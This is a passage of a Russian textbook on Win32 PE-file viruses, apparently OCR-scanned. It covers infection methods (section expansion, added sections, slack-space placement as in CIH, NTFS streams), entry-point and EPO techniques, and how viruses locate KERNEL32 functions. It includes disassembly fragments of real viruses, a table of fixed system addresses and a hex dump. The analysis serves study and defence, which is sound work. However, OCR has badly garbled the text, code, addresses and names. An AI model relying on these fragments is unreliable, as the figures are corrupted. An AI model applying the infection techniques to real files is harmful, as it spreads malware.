их очень мало, и встречаются они только в коллекциях вирусологов 
в «заспиртованном» виде.
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4.3Л.З. 4Оверлейние*■ вируси
<Оверлеями> в РЕ-программах могут считатъся любме даннне, 

формально находявдиеся внутри программного файла, но не со- 
держашиеся внутри секций (не забнвайте, РЕ-заголовок мн тоже 
условно считаем секцией!). Все, что расположено вне секций, при 
загрузке программн в память не попадает. В 32-разрядннх верси- 
ях \Ўт<1о^8 возможности вирусов, работаювдих по «оверлейному» 
принципу, несколько ограниченн, по сравнению с возможностями 
их БОЗ-собратьев. Это связано прежде всего с запретом видоизме- 
нения файла исполняювдейся в данннй момент программн. Конечно, 
•соверлейнне» вирусн сувдествуют, и их не так уж и мало, но они, как 
правило, написанн на язнках внсокого уровня и используют весь- 
ма примитивную и малокорректную технику: просто «отрнгивают» 
свой оверлей (то есть оригинальную программу) во внешний файл 
с жестко фиксированннм или случайннм (вирус \Уш32.8ЬИ.81Э2) 
именем и запускают его на исполнение при помовди «СгеаЬеРгосезз» 
или «АУтЕхес». Некоторне программн, запувденнне под «чужим» 
именем, просто не будут правильно работать. К тому же практически 
все такие вирусн не дожидаются окончания работн запушенной про- 
граммн и не удаляют ее файла, а просто присваивают ему атрибут 
«невидимнй».

Конечно, сувдествуют и более корректнне методн, но они довольно 
сложнн и связанн с воспроизведением алгоритма, используемого си- 
стемннм загрузчиком Штёо^з. Не исключено, что вирусн, исполь- 
зуювдие такие алгоритмн, сушествуют, но в любом случае их едини- 
цн, и обнаружить их можно только в коллекциях вирусологов.

Весьма характерннм признаком простнх «оверлейннх» вирусов 
является изменение иконки зараженной программн. В самом деле, 
ведь после заражения в файле «живет> совсем другая программа!

432.4 . Вируси в расширенной последней секции
Это самьгй простой и самнй естественннй способ размевдения по- 

стороннего кода в РЕ-программе. Суть его заключается в том, что ви- 
рус просто увеличивает в таблице секций размер последней секции 
и записьгвает вирус в образовавшееся в конце файла дополнитель- 
ное пространство. Естественно, для этой секции необходимо уста- 
новить флаги, соответствуювдие исполняемому коду, иначе вирус не 
сможет стартовать из нее. Вот пример видоизменений, произошед- 
ших в программе «КОТЕРАО.ЕХЕ», зараженной вирусом \¥ш9Х. 
Оагк81(1е.1371 (см. табл. 4.1).
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Таблица 4 .1 . Изменения в заголовке, произведеннью  вирусом  
ОагкЗШе

Поле заголовка Д о  зараж ения П о сл е  заражения
АййгезвОГСгЛгуРойИ 0x1000 ОхВАОО
МитЬегОҒ8ес1юп8 6 6
З ге О Я та д е ОхСООО ОхСбОО

Описание последней секции программм до заражения (см. табл. 4.2).

Таблица 4 .2 . Харакгеристики последней секциидо заражения
К а т е № 8126 НУА РЬ увЯ ге о н т Ғ1адв

б.гекх: 91Е вооо А00 7С00 42000040 Г...М...

И после него (см. табл. 4.3).

Таблица 4 .3 . Характеристики последней секции после зараж ения
Н а т е У1Л 5ае ЯУА РЬуаЗие ОШ е» Ғ1адв

б.гекэс Ғ1Е вооо 1000 7С00 62000060 г.ес.й...

Запись вирусного кода в секции, содержавдие оверлей (их длина 
в дисковом файле больше размера, зарезервированного для загрузки 
в память), может привести к некоррекгной работе зараженной про- 
граммн. Тем не менее большинство вирусов, заражаювдих РЕ-файлн, 
используют именно этот метод внедрения вирусного кода. В некото- 
ром смнсле его можно счйтать «стандартньш».

432.5 . Вирусм в дополнительной секции
Это довольно корректннй и надежньш, хотя и не слишком попу- 

лярннй способ заражения РЕ-программ. Он бнл использован в са- 
мом первом РЕ-вирусе \Уш9Х.Вога, В таблицу секций добавлялась 
новая «строка», описнваювдая секцию с именем «.у1ас1» и флагами 
С0000040Ь. Сама секция физически размевдалась в конце файла (см. 
табл. 4.4).

Табпица 4 .4 . Секции программь/, зараж енной вирусом Вога
И а т е У1г1812е НУА РА уеЗ и е ОЙ$е( Ғ1ад$

1 Лех4 ОООООЗЕ5 00001000 00000400 00000400 60000020 г.ес.....
2 .баХа 00000098 00002000 00000200 00000800 С0000040
3 Лс1а(а 0000025А 00003000 00000400 00000А00 40000040 Г....С)...

4.Г8ГС 00001314 00004000 00001400 00000Е00 40000040 Г....С1...
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Таблнца 4 .4 . Свкции программь), зараж внной вирусом Вога
(окончание)

И а т е У |П 5 й в РУА Р Ь у в З и е О И ве* Я а д »

5 .ғекю 0 0 0 0 0 0 0 2 0 0 0 0 6 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 2 2 0 0 4 2 0 0 0 0 4 0  Г....С1...

6  .у1ас) 0 0 0 0 2 0 0 0 0 0 0 0 7 0 0 0 0 0 0 0 0 с о о 0 0 0 0 2 6 0 0 С 0 0 0 0 0 4 0
Г Ж .. .Й . . .

При этом вирусу приходилось корректировать значения некото- 
рнх полей заголовка программи (см. табл. 4.5).

Таблица 4 .5 . Поля заголовка программь
зараж енной вирусом Вога

Поле заголовка До заражения После заражения
АййгвЗзСИЕгЛгуРоМ 0x12С6 0x7000
МитЬвгСТЗвйюпз 0x0005 0x0006
а ге О Я та д е 0x7000 0x9000

Есть и другие вирусн, используюшие подобную технологию внед- 
рения своего кода в программу. Например, вирус \¥т32.Рап1е.а 
добавляет к заражаемой программе секцию с именем «.рт]», вирус 
\Уш9Х.1пса (он же \У1п9Х.Ғопо.15327) -  секцию со случайнмм име- 
нем, а вирус ХУшЭХ.ҒШй.1030 -  секцию без имени.

432.6 . Вирусгя, распределенние по секциям
Э т о т  метод внедрения вирусного тела в РЕ-программу пользует- 

ся тем обстоятельством, что объем «полезной» информации, храня- 
одейся в секциях программного файла, меньше размера внделенннх 
под нее данннх. Наличие в конце секций пустмх «хвостов» -  вполне 
нормальное явление. Например, из пяти-семи десятков стандарт- 
ннх утилит и аксессуаров, чживуших» в каталогах « С :\\У ш <1о\у з» 

и «С:\\У1№ҒГ», почти все имеют суммарнне длинн «хвостов» бо- 
лее 1024 байтов, причем половина из них -  даже более 4096 байтов. 
Для размевдения вирусного кода внутри файла РЕ-программн этого 
обнчно оказнвается вполне достаточно.

Посмотрите, как это делает знаменитнй вирус \Уш9Х.С1Н. Вот 
таблица секций «здоровой» программн «РВЯ115Н.ЕХЕ» из \¥ т -  
(1о\У8 95 (см. табл. 4.6).

Давайте обратам внимание на первую секцию «хехС». В дисковом 
файле под нее отведено 200Ь=512 байтов, в то время как реально в 
ней содержится всего АВЬ=171 байт «полезной» информации. Сле-
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Твблица 4 .6 . Таблица свкций программш д о  заражвния
№ те У|П31ге НУА РИувЗие ОЯзе! Иадз

1 лвхг АВ 1000 200 400 60000020 г.ес.....
2 .Ша1а Е4 2000 200 600 40000040 Г....Й...
3 .гзгс 1000 3000 800 800 40000040 Г....Й...

4 .ге1ос 34 4000 200 1000 42000040 г....с1...

довательно. остальнне 512 -  171 = 341 байтмогут бнть использованн 
вирусом для хранения части своего кода. Имеются 284 «бесхозннх» 
байта и в конце второй секции «лсЬга». и 460 -  в конце последней 
секции «,ге1ос». Наконец. не забудьте, что несколько сотен байтов 
свободнн в конце «псевдосекции» заголовков. Вирус, код которого 
имеет длину чуть более 10 0 0  байтов, размешается в неиспользуемнх 
фрагментах РЕ-программн «с комфортом». Вот таблица сегментов 
зараженной программн, в которой виртуальнне размерн секций вн- 
ровненн вирусом на максимально возможную длину, а физические 
размерн не измененн (см. табл. 4.7).

Таблица 4 .7 . Секции с  «округленнь/ми» размерами
К а т е У1г15|ге Ғ№А РЬузЗ& е ОНве* Ғ1адв

1 .1ех1 200 1000 200 400 60000020 г.ес.....
2 ,1с1а1а 200 2000 200 600 40000040 г....й...
3 -Г5ГС 1000 3000 800 800 40000040 Г....С1...
4 ,ге1ос 200 4000 200 1000 42000040 г....с1...

Разумеется, длина зараженного файла остается прежней. Увидеть 
вирусннй код внутри такого файла можно только при помоади спе- 
циальннх утилит, показнваюадих его числовой дамп.

Интересно, что в первне месяцн после начала всемирной эпидемии 
вируса Ш тЭХ.СШ  многие антивирусн не сразу научились коррект- 
но удалять вирусньш код из зараженннх файлов. Они лишь обезвре- 
живали вирус, уничтожая его стартовнй фрагмент, расположенннй 
в «псевдосекции» заголовков. Остальной код вируса, вкчючаювдий 
процедуру порчи содержимого Ғ1азЬ-памяти компьютера, оставался 
в «хвостах» секций.

В принципе, эти остатки вируса внутри файла абсолютно безопас- 
нн, так как не могут получить управления. Но некоторне современ- 
нне антивирусн, например антивирус Касперского и КогЬоп А м тгиз, 
распознают такой «недо;к'ченнь1Й> вирус как вредоносную програм- 
му Тпуап.Ғ1а$ЬКШег и предлагают ее «долечить насмерть»-. Надо ли
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соглашаться? Пожалуй, да. Хотя бн ради того, чтобн в следуюший 
раз при проверке диска те же антивирусн не раздражали пугливого 
пользователя своими тревожннми сообшениями.

Метод размешения кода в «хвостах» секций, использованннй виру- 
сом \Уш9Х.С1Н, стал объектом многочисленнмх подражаний. Стоит 
упомянуть также идею размевдения тела вируса внутри секций, ориги- 
нальное содержимое котормх упаковано каким-либо методом сжатия 
даннмх, благодаря чему в них возникают искусственно созданное сво- 
бодное пространство. Реализована ли эта сложная, но красивая техно- 
логия в каких-нибудь реальннх вирусах? В качестве примера можно 
\тюмянуть \Угт32.31о^.8192... да и все, пожалуй, на этом.

Зато имеются вирусн, которне ничтоже сумняшеся вписнваются в 
секцию «.ге1ос», затирая расположенную там таблицу перемевдаемнх 
сснлок своим телом. Для динамических библиотек это бнло бн фа- 
тальннм, а исполняемне РЕ-программм обмчно спокойно переносят 
подобнью жестокие экспериментм над собой. Примерм таких виру- 
сов: \¥ш32.0гег.6279, \ \ 7ш9Х.5к.8699, \ \ гш32.Москос1ег.1120 и др.

4.3.2.7. Вируси в файловъих потоках МТҒ5
Как уже упоминалось в разделе, посвяшенном описанию фай- 

ловнх систем Шшйотуз, в МТҒ8 файлм организованн в виде мно- 
жества потоков, причем только один из них является видимнм, 
а остальнне содержат служебную информацию и по умолчанию 
скрнтн от постороннего глаза. Для работн прикладннх программ 
с файловнми потоками используются традиционнме АР1-функции 
(«СгеаГеЯе», «Сор)'ҒИе», <<Ое1еГеҒ11е>> и прочие), которьш в качест- 
ве параметров передаются имена следуювдего специального вида: 
«ИмяФайла:ИмяПотока:Атрибут».

По умолчанию служебнне потоки файла не имеют имени, но 
имеют атрибутн, специфицируюшие назначение потока. Напри- 
мер, время создания файла хранится в «С:\МОТЕРАО.ЕХЕ::$Т1ше», 
а данньге файла хранятся в « С :\МОТЕРАЕ>. ЕХ Е::$ ОаГ.а». И наобо- 
рот, неспецифицированнне файловме потоки могут иметь имя, но не 
иметь атрибута. Подобнме потоки создают вирусьх, записьшаювдие- 
ся поверх заражаемой программьх и переносявдие ее оригинал в свой 
скрмтмй поток. Например, вирус \¥2К.Теат свое тело размевдает 
в файле «NО'ГЕРАI).ЕX Е», а старое содержимое этого файла при по- 
мовди функции СоруҒИе сохраняет в потоке с именем «МОТЕРАО. 
ЕХЕ.ССС». Вирусн подобной разновидности мало чем отличаются 
от вирусов-«спутников», поэтому они так же немногочисленнь! и ред-
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ки. Например, первьга известаьш вирус этой группн \У2К.8<хеат, 
написанннй совместао двумя чешскими вирусописателями Кайег 
и Веппу, произвел фурор в умах «ценителей», но так и не внбрался 
с электронннх страниц журнала «29 А».

4.3.3. Как вирусь» получают управление
В этом разделе мн рассмотрим способн передачи управления вирус- 
ному коду, внедренному внутрь файла зараженной программн. Забе- 
гая вперед, отметим, что ничего принципиально нового, по сравнению 
с ВОЗ-вирусами, не появилось, имеет смьгсл остановиться только на 
вновь появившихся особенностях.

433.1. Изменение адреса точки входа
Это еамьш естественннй и самнй простой способ передачи управ- 

ления вирусу. В условиях «плоской» модели памяти 32-битовнх 
версий \¥1П(1о\У5 э т о  делается совсем не сложно: достаточно просто 
вписать в поле «А^геззОГЕпггуРошС» заголовка РЕ-программн но- 
вое значение, соответствуюшее первой команде вирусного кода. Та- 
кая манипуляция с заголовком бнла нами уже проиллюстрирована 
несколькими страницами ранее, когда мн изучали способ внедрения 
в «жертву» вируса \Ут9Х.Оагк8|с1е.1371. А вообвде, вирусов, посту- 
паювдих подобннм образом, -  подавляюадее больш^шство.

Иногда вирус, получивший управление, сразу пользуется исход- 
ннми значениями регистров, настроенннми загрузчиком \ \г1пг1о\У8- 
программ:

О ЕАХ=Е1Р (в Штс1о\\’5 9Х) или 0 (в \¥тс1о\\'5 КТ);
О  ЕВХ=005*0000Ь (в \¥тс1о\\'5 9Х, здесь «*» -  некая цифра) или 

7ҒҒОҒОООЬ (в \¥тс.1о\\'8 НТ, это адрес РЕВ);
О  [Е5Р+00] -  адрес внутри процедури-загрузчика.
Возврат управления оригинальной программе тоже обнчно три- 

виален и вьшолняется командой «}МР», оформленной следуювдим 
образом:

Л* 2ьҒҒ(1 ; Опкод командн дяинного пеоехода
йа Ааг ; Адрес адреса перехода

Айг с1а ? ; Адрес переходз

или комбинацией Ри5Н/КЕТ:
аЬ 68?: ; Опкод команди РУ8Н

Ас1г сМ ; Адрес перехода
гет
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Поле «А<1с1ге550£Еп(;гуРот1> не обязательно должно указьшать 
в кодовую секцию программм и вообвде в какую-нибудь секцию. 
Вьние мь1 уже упоминали интересную особенность вируса \Уш9Х. 
С1Н, чей стартовьш фрагмент размехдался в области заголовков за- 
ражаемой программн. Немало дизассемблеров и отладчиков образца 
1995-1998 годов (например, Зоигсег у7.Х) просто отказмвались ра- 
ботать при попмтке использовать их для изучения кода этого виру- 
са! «Финт» с точкой входа, использованнмй вирусом \¥т9Х.С1Н, 
бьш впоследствии повторен в очень многих вирусах (см., например, 
\Уш32.На1е85.1127, \¥т32.Мо1«>е.410, \Уш9Х.Аг£08.328, \¥ш9Х. 
Кшйп и прочие), но, конечно, дваждм над одной шуткой смеяться не 
принято. и поэтому все современнме дизассемблерьх и отладчики об- 
рабатнвают эту ситуацию без затруднений.

4.3.32. Изменение кода в точке входа
При этом способе адрес точки входа в заголовке не меняется, а вмес- 

то этого в первне байтм программного кода вставляются команди пе- 
рехода на вирус (например, ^М Р»). Эта технология очень напомина- 
ет ту, которая использовалась когда-то давньш-давно для заражения 
СОМ-программ в МЗ-БОЗ. А вот ЕХЕ-программн таким образом 
в ООЗ-эпоху заражались редко. Для них подобньш трюк надо бнло 
вьтолнять очень осторожно, так как в видоизменяемнх командах 
могла присутствовать перемешаемая сснлка. Спустя годн «халява» 
вернулась, поскольку для исполняемнх РЕ-программ перемевдаемне 
ссьшки практически неактуальнн. Не изменяют адреса точки входа 
такие вирусм, как \Уш32.Рагуо, \У1п9Х.МагЬиг§, \Ут32.СаЬапа8 и 
многие другие.

4.З.З.З. Исполъзование технологии ЕРО
Удивительно, но идея внедрения вируса в середину программного 

кода «расцвела» не в 005-эпоху, когда она бьша придумана и когда 
для ее реализации особьк усилий прилагать не требовалось, а много 
позже -  в эпоху 32-разряднмх версий \¥1пс1о\¥5.

Для поиска подходяшего места для вставки своих стартовнх ко- 
манд вирусн используют разнме технологии.

Прогце всего сканировать кодовую секцию заражаемой програм- 
мм, останавливая свое внимание на «прологах» процедур и функций,
оизп еЬо
гооу е С р , 6 5 Р
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на обравдениях к типичннм системньш сервисам
ризП 0
са11 ЕхггРгосеаз

и прочих стандартннх фрагментах программного кода. Обнаружив 
где-то в глубине кодовой секции соответствуюшую комбинацию 
байтов (например, 55Ь 8 ВЬ ЕСЬ), можно надеяться, что программа 
рано или поздно дойдет до этой точки. Значит, можно заместить этот 
фрагмент командой перехода на вирусное тело, предварительно со- 
хранив где-то внутри него оригинальнме байтн. Так поступают виру- 
сь1 \Ут32.СТХ, \¥1п32.8К, \Ут32.В1акап. \У т32 .0еето  и прочие. 
Основной недостаток подобного подхода очевиден: надежди не обя- 
занм сбнваться, и вирус может «навеки> остаться внутри программн, 
так ни разу не получив управления и не совершив акта размножения.

Гораздо более сложной и продвинутой является технология « ЬОЕ32» 
(а также ее еше более навороченнне «переиздания»), пропаганди- 
руемая хитроумньш отечественним вирусописателем по прозвишу 
20тЬ1Е. В соответствии с ней вирус сканирует заражаемую програм- 
му с помошью встроенного в него довольно простого и бнстродейству- 
юш,его «дизассемблера», позволяюшего бнстренько «пробежаться» 
по программе, команда за командой, и найти подходяшее для зара- 
жения место. В результате точка входа в вирус иногда оказнвается 
так глубоко в недрах программного кода, что антивирус, использую- 
Ший для обнаружения ее отнюдь не простой дизассемблер, а полно- 
ценньш эмулятор команд, вьгаужден подчас тратить минутн и даже 
десятки минут на поиск «заразн» в одном-единственном зараженном 
файле! Слава Богу, автору технологии хватило ума не внпускать сво- 
их многочисленньхх вирусов в «дикую природу». По крайней мере, 
в международном списке вирусннх эпидемий от_}ое \Уе11з эти вирусн 
не упоминаются.

4.3.4. Как вирусь! обрашаются к системнмм 
сервисам
Вопрос доступа к системннм сервисам является к-точевьш для виру- 
сов, функционируювдих в среде 32-разрядннх версий \¥ 1пс1о%-$. Вмше, 
в разделах, посвявденнмх импорту и экспорту, бмли рассмотренм 
сложнне схемн взаимодеххствия программ с динамическими библио- 
теками, содержавдими необходимне для функционирования программ 
функции. На этапе формирования загрузочного мод\-ля компоновшик 
оснашает «нормальную» программу служебньхми заголовками и на-
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строечньши таблицами, содержашими информацию о требуемьгх про- 
граммой внешних функциях, а затем загрузчик операционной системи, 
пользуясь этими заголовками и таблицами, обеспечивает программу 
необходимьши ресурсами -  адресами внешних функций. Компью- 
терньт вирус же является чистьш программнмм кодом, не содержит 
никаких заголовков и таблиц, поэтому проблему доступа к системнмм 
сервисам (прежде всего к функциям библиотеки «КЕКНЕЬ32.ВЬЬ») 
ему приходится решать полностью самостоятельно.

4.3.4.1. Метод предопределенньас адресов
Наиболее примитивнме вирусм ориентированн на конкретнме 

версии операционнмх систем, для котормх расположение в адресном 
пространстве библиотеки «КЕККРХ32.ВЬЬ» и функций внутри нее 
является жестко фиксированннм.

Например, автор вируса Л¥ш9Х.Вога бнл осведомлен о двух воз- 
можннх вариантах обшей точки входа в «КЕКНЕЕ32.БЕЬ» для раз- 
личннх бета-версий «СЬка§о», имел даннме о характерннх для этой 
точки цепочках байтов (сигнатурах), определил даже адреса переход- 
ников (гЬипкз) к необходимьш системннм сервисам, но почему-то не 
знал линейннх адресов самих функций и что к ним можно обрашать- 
ся напрямую. В результате он сочинил для обрашения к системннм
сервисам следуклций очень наивннй (по ньшешним временам) код:

407014 (ТЮУ еах, [еЬр<-4403АНО ; Первмй адрвс сигнатурн
40701А стр а«огй р+г [еах], 5350ҒС9СП : Совпало с сигнатурой?
407020 ]пг ггюгГ 1ос_ 407031 : Если нет - на следувдую попьтку
407026 ЯОУ 9ЭХ, [еЬр+4403А1(1] ; Здесь 1-ий вариант адреса точки вазова
40702С ]ШР 407049

407031 глоу еах, [еЬр<-44036йЛ1 , Еторой адрес сигнатури
407037 сшр атгс) Р1г [еах], 5350ҒС9СП , Совпало ?
407030 ]П2 407395 , Если нет -  прекоатить поиски
407043 ИО У еах, [еЬр+440390(1] ; А здесь 2-й вариант адреса
407049 тоу [еор+440399М], еах ; Сохранение адреса точки вмзоза
40704Ғ о10
407050 1 еа еах, [еЬр+440бСВ(1] ; Загрузка в стек..
407056 ри зп еах .. пэраметров...
407057 ризг. 0ҒҒ11 ; .. АР132-сервиса
407050 са 11 4073А5 ; Визов Функции обрашения к сервису

; Здесь располагаетсч собственно вузоз сервисэ
4073А5 ризп 0ВҒҒ77744п , Переходник к ОеЮиггепИС! гес1огуА
4073АА ттр аиогй ргг [еьр-+440399п] : Пвреход на обшую точку емзова
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Более поздние вирусм содержали просто табличку линейнмх адре- 
сов необходиммх системнмх функций и обравдались к ней по мере не- 
обходимости. Вот, например, фрагмент вируса \¥т9Х.ИЮ .Ш Н.401:

401184 804510 1еа
4011В7 50 ризН
4011В8 80872А134000 1еа
4011ВЕ 50 ризП
40118Ғ ҒҒ970Е134000 са!1

еах, [е й р ][Ю ] 
еах
еах ,[ей1][00040132А] 
еах
Й, [ 1  ][00040130Е]

; Адрео рабочей области 

; Адрес маски поиска 

; Обрашение к сервису

; Табличка «дресов системнмх сеовисов в КЕННЕ132.0И из №паои$95 
401ЗОЕ ВҒҒ77893 00 ВВҒ77893 ; Адрес Ғ1п0Ғ1 гзгҒПеА
401312 8ҒҒ778С8 Й0 ВҒҒ7Т8СВ ; Адрес Ғ1поЯех1ҒиеА
401316 8ҒҒ77817 сИ ВҒҒ77817 ; Адрес С геатеҒИ еА

; Наска для поиока файлов 
40132А 2А2Е45584500 0Ь 1 * . ЕХЕ', 0

Имеются и более продвинутме вирусм, которме содержат в сво- 
их внутренностях несколько подобнмх табличек для различнмх 
версий и разновидностей \У1Пс1о\У5. Впрочем, держать в себе многие 
десятки и сотни байтов довольно накладно, поэтому такие виру- 
см обмчно хранят только вариантн базовнх адресов «КЕККЕЬ32. 
ОЬЬ» и, возможно, смевдения внутри этой библиотеки для функции 
«СеСРгосАсМгеззА», которая позволила бн найти адреса всех осталь- 
ннх необходимнх функций. Объективности ради отметим, что до- 
ступ к «Се1РгосАс1с1геззА» тоже в обвдем-то не обязателен, так как ви- 
рус может самостоятельно разобрать таблицн экспорта «КЕКНЕЬ32. 
ОЕЕ»- и определить все требуемь1е адреса напрямую.

Вот фрагмент вируса Д¥ш32.Ьа(1.1916, котормй знал о сувдествова- 
нии \ \ 71псЗо\уз 9Х, \Ў1пс1о\У5 НТ 4.0 и \¥тс1о\уз 2000 и пнтался обнару- 
жить в памяти образ библиотеки «КЕККЕЬ32.БЕЕ» по характерннм 
адресам ее месторасположения и по характерной сигнатуре ‘М2 ’ (не 
забудем, что динамические библиотеки имеют РЕ-формат и целиком 
грузятся в память):
412248; ш о у иогй рТг [еЬр+4015ҒЕп], 5 ; Счетчик

412204: «оу  е$1, 77Е80000П ; Адрес КЕВЖ132.01Л для Ю.п<Ю«г5 2000
412209: 1 ир зИсгТ 1ос_41229В
412203 1сс_41220В:
4122ЭВ ю у  651. 77ҒОООООП ; АдрвС КЕН^Е 132. 0 И  для Йпс1о*5 N1 4 .0
4122Е0: ]ВД зИогТ 1ос_41229В
4122Е2 1ос_4122Е2:
4 1 2 2 Е 2  тю у 6 8 1 . 03ҒҒ70000И ; Адрес КЕВН Е132  011  для й ш й о я /з  9Х
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4122Е7: т зП о гт  1ос_41229В

41229В: стр БуТе р Т г [еЬр+4015ҒЕМ ], 0 ; Продолжать ли поиск?
4122А2: п 3)10 гт  1ос_4122С8 ; Нет

4122А4: сшр « о гй  р Т г [ е з ! ] ,  5А40М ; Да -  и с к э т ь  'М2 '

4122А9: з г $1гаг£ 1ос_4122В9 ; Нзшел 1

4122АВ 1ос_4122АВ:

4122АВ: зиЬ ез1, ЮОООЬ ; См еститься ч у т ь -ч у т ь

412 2В 1 : йес ЬуТе р Т г [еЬр+4015Ғ£|1] ; Декремент с ч е тч и к а

412237: з Ь о гт  1ос_41229В

; Дальнейшая работа с на йденним в пэмяти обоазом КЕЙ N£132. О И

4122В9:

В отличие от совсем примитивнмх вирусов с префиксом «\¥1п9Х», 
жестко ориентированнь1х на конкретную версию Штс1о\УЗ, подоб- 
ньге т Ш .Ь м Ь Ш б  вирусн способнн размножаться в нескольких 
различннх версиях \Утс1о\УЗ, за что в названии получили префикс 
«\¥1п32». Впрочем, не стоит обольвдаться их «вездеходностью». Дело 
в том, что фирма МдсгозоЙ вьшускает новне сервиспаки к старнм 
версиям \У1п(1ото иногда по нескольку штук в год, не говоря уж о том, 
что раз в два-три года появляотся новая версия этой операционной 
системн. Если с базовнми адресами «КЕ ЯМ Еи2. Г) ЬЬ» ехце наблю- 
дается хоть какая-то преемственность (и поэтому \Уш32.Ьа (1.1916, не 
обнаружив библиотеку на «законном» месте, вполне резонно пьхтает- 
ся найти ее где-нибудь неподалеку), то адреса конкретннх функций 
вн\три нее «плавают» от версии к версии гораздо хаотичней. Для ил- 
люстрации этого обстоятельства посмотрим на фрагмент справочной 
таблички, собранной в самьхх разнообразннх версиях и модифика- 
циях \У 1п с1 о \У 5  с  учетом всевозможньхх «билдов», «релизов» и «сер- 
виспаков». Иметь такую табличку (см. табл. 4.8) полезно не только 
вирусоиисателю, но и вирусологу, -  хотя бн ради того, чтобн разо- 
браться в устройстве очередного нового вируса, содержахцего внутри 
манипуляции с непонятннми адресами.

В табличке нет ни \Ушс1о\у5 \%(:а, ни \У1пс]о\\'5  7, потому что в этих 
версиях системнне таблицн «плавают» в памяти, -  и это сделано спе- 
циально.

Как бн то ни бнло, вирусу, обнаружившему в памяти «КЕККЕЬ32. 
ВЬЬ», далее необходимо, сканируя «Таблицу имен функций», найти 
в ней строковое имя функции (например, ‘КеаЛҒПе’), потом соответ- 
ствуюший порядковнй номер в «Таблице номеров», а по этому номе- 
ру -  искомнй адрес в «Таблице адресов». Анализируя код различннх 
вирусов, можно обнаружить два основннх подхода, которне исполь- 
зуют вирусописатели для поиска строкового имени функции.
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Таблица 4 .8 . Ф иксированние адреса в некоторшх версиях 
\ЛПп<1о¥гз

о с кЕғш Еизг.ои. Се1РгосАс1с1ге88 ЕхйРгосева

\ЛЯпс1сп«з 95 0хВҒҒ70000 0хВҒҒ76С18 ОхВҒҒЭАҒОО
\ЛЛпс1спя/з 95 0хВҒҒ70000 0хВҒҒ76О5С ОхВҒҒ8АЕСО
\ЛЛпс1о\л/з 98 0хВҒҒ70000 0хВҒҒ76ЭА0 0хВҒҒ8С4Е5
\ЛЛпс1склгз 98 0хВҒҒ70000 ОхВҒҒ7бОАС 0хВҒҒ8О4СА
\/\Япс1о«/з 98 0хВҒҒ70000 0хВҒҒ76РА8 0хВҒҒ8О4Ғ8
\ЛЛпйо\«5 МЕ ОхВҒҒбОООО ОхВҒҒббОвО 0хВҒҒ7О97О
\Л/|Пс)о\«з N14 Ох 77Ғ00000 0х77Ғ13С1Е 0х77Ғ19569
\Мпс1о\л/5 N 1 4 0х77Ғ00000 0х77Ғ13ҒСА 0х77Ғ19ҒВ2
\ЛЛпс)0\«5 N14 Ох77ҒООООО 0х77Ғ14010 0х77Ғ19ҒЕ6
\Лйп<1о\мз 2000 Ох77ЕвОООО 0х77Е9564В 0х77Е9В0ВВ
\ЛЛпс1ои/5 2000 0х77Е80000 0х77Е89АС1 0х77Е98Ғ94
\ЛЛпйО\л/5 2000 0х77Е80000 0х77Е89В18 0х77Е9СҒ5С
\Мпс1спл/5ХР 0х7С800000 0х7С80АС28 0х7С81САА2
\ЛЯпс1спа/5 2003 0х77Е40000 0х77Е42ОҒВ 0х77Е4Ғ1Е4
\ЛЛпйО«гз 2003 0х77Е60000 0х77Е7В332 Ох77Е798ҒО

Первмй, саммй простой и естественнмй, заключается в посим- 
вольном сравнении строковмх имен, содержашихся в вирусе, с эле- 
ментами «Таблицм имен» динамической библиотеки «КЕККТЕЬ32. 
01Х». В этом случае в теле вируса имена функций обнчно виднн «на 
просвет», и по ним можно с достаточной степенью уверенности без 
дизассемблирования определить основнне свойства и повадки «за- 
разм ■>. Разгляднвая, например. дамп вируса \ \7т32.Иу11.1556, можно 
без труда догадаться, что он крайне прост и непритязателен, обнару- 
живает свои «жертвн» поиском в текушем каталоге, а при заражении 
использует для хранения своих временннх данньгх линамическую
па:
В10

мять
26 46 49 75-Ғ5 03 43 72-65 61 74 65-46 69 60 65 &Ғ1и1+. СгеагеҒП

В20 41 00 43 72-65 61 74 65-46 69 60 65-40 61 70 70 А СгеагеҒИеМарр
ВЗО 69 6Е 67 41-00 40 61 70-56 69 65 77-4Ғ 66 46 69 хпдА МавУ^ежОҒҒ!
В40 60 65 00 55-6Е 60 61 70-56 69 65 77-4Ғ 66 46 69 1е Цгга80У1е*етҒ1
В50 6С 65 00 43-60 6Ғ 73 65-48 61 6Е 64-60 65 00 56 1е С1озеНзпс11е V
В60 69 72 74 75-61 60 41 60-60 6Ғ 63 00-56 69 72 74 1П и аШ 1 о с  VIП:
В70 75 61 60 46-72 65 65 00-46 69 6Е 64-46 69 72 73 иа1Ғгее Ғ1 пйҒ1 гз
В80 74 46 69 6С-65 41 00 46-69 6Е 64 4Е-65 78 74 46 иҒйе.А ҒгпоНехтҒ
В90 69 60 65 41-00 53 65 74-46 69 60 65-41 74 74 72 11еА 8 еШ 1 еА П г
ВАО 69 62 75 74-65 73 41 00-47 65 74 40-61 73 74 45 1Ьи1езА СеПазтЕ
880 72 72 6Ғ 72-00 00 00 00-00 00 00 00-00 00 00 00 г гс г .....................
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Второй подход более необмчен и красив. Он предусматривает 
сравнение не полпнх строк, а контрольнмх сумм и хеш-ф>икций 
от них, например СКС-32. Считается, что впервме этот прием бмл 
использован в вирусе \¥ш32.Рагуо, а позже воспроизведен в не- 
скольких десятках других вирусов. Любопмтно, что хотя алгоритм 
СКС-32 можно бмло сравнительно легко оформить самостоятельно, 
практически все вирусн используют один и тот же код. Код написан 
достаточно аккуратно и действительно вьиисляет стандартн>то хеш- 
функцию СКС-32 для блока даннью, начальнмй адрес которого ука- 
зан в регистре Е51, а длина -  в Е01:
41868А: ҒС с1с!
418638: 3309 хог есх,есх
418680: 49 сес 8 С Х

41868Ё: 8В01 ШОУ есх,9сх
418690: 53 ризН ейх
418691: ЗЗСО хог еах,еах
418693: ЗЗОВ хог еох,еРх
418695: АС 1ос1зо
418696: 32С1 хог а1,с1
418698: 8АСС- ПОУ с !,сЬ
41869А: 8АЕА т о у см,й1
41869С: 8А06 ГПОУ с)1,6И
41869Е: В608 ПОУ с!п, 008
4186А0: 6601Е8 зпг Ьх, 1
4186АЗ: 660108 Г С Г ах. 1
4186А6: 7309 )зе .0004186В1
4186А8: 66352083 хог зч:08320
4186АС: 6681Ғ338Е0 хог Ьх:0Е088
4186В1: ҒЕСЕ сес №.
418633: 75ЕВ Зпе .0004186А0
418685: ЗЗС8 хог есх,еах
4186В7: 3303 хог есх,еох
418689: 4Ғ бео е о !

4186ВА: 7505 ]П6 .000418691
418630; 5В оор ейх
4186В0: Ғ702 ПОТ есх
